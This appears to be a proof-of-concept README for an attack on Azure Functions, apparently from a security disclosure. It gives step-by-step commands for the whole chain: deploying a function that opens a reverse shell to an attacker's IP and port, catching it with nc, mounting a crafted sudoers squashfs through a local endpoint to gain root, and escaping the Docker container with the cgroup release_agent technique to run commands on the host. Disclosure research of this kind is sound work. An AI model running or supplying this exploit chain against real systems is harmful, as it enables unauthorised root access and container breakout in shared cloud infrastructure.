In this POC we'll setup a reverse shell with the squashfs to escalate privileges in Azure Function, and break out of the Docker environment.

1. Install Azure Functions CLI

2. Follow the Azure guide for setting up an Azure Function

3. Copy the files required for the POC to the function directory:

   cp files/__init__.py FUNCTIONDIR/FUNCTIONNAME/__init__.py
   cp files/sudoers.sqsh FUNCTIONDIR/

4. Fill in the PORT and IP fields in the FUNCTIONDIR/FUNCTIONNAME/__init__.py file to the server that will communicate with the reverse shell.

5. Deploy the function (like in the guide above):

   func azure functionapp publish <APP_NAME>

6. Listen on the reverse shell port (don't forget to white list this port on the firewall):

   nc -nlv 0.0.0.0 PORT

   and invoke the Function with the invocation URL you were given with the functionapp publish command.

7. You should now be in the Azure Function, escalate privileges:

   curl "localhost:6060/?operation=squashfs&filePath=/home/site/wwwroot/sudoers.sqsh&targetPath=/etc/sudoers.d"
   sudo su

8. Finally, break out of the Docker container (run ps on the Docker host in our example):

   mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
            
   touch /output
   echo 1 > /tmp/cgrp/x/notify_on_release
   mount > /tmp/mtab
   host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /tmp/mtab`
   echo "$host_path/cmd" > /tmp/cgrp/release_agent
            
   echo '#!/bin/sh' > /cmd
   echo "ps aux >> $host_path/hostps" >> /cmd
   echo "ps aux >> $host_path/hostps2" >> /cmd
   chmod a+x /cmd
   
   sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
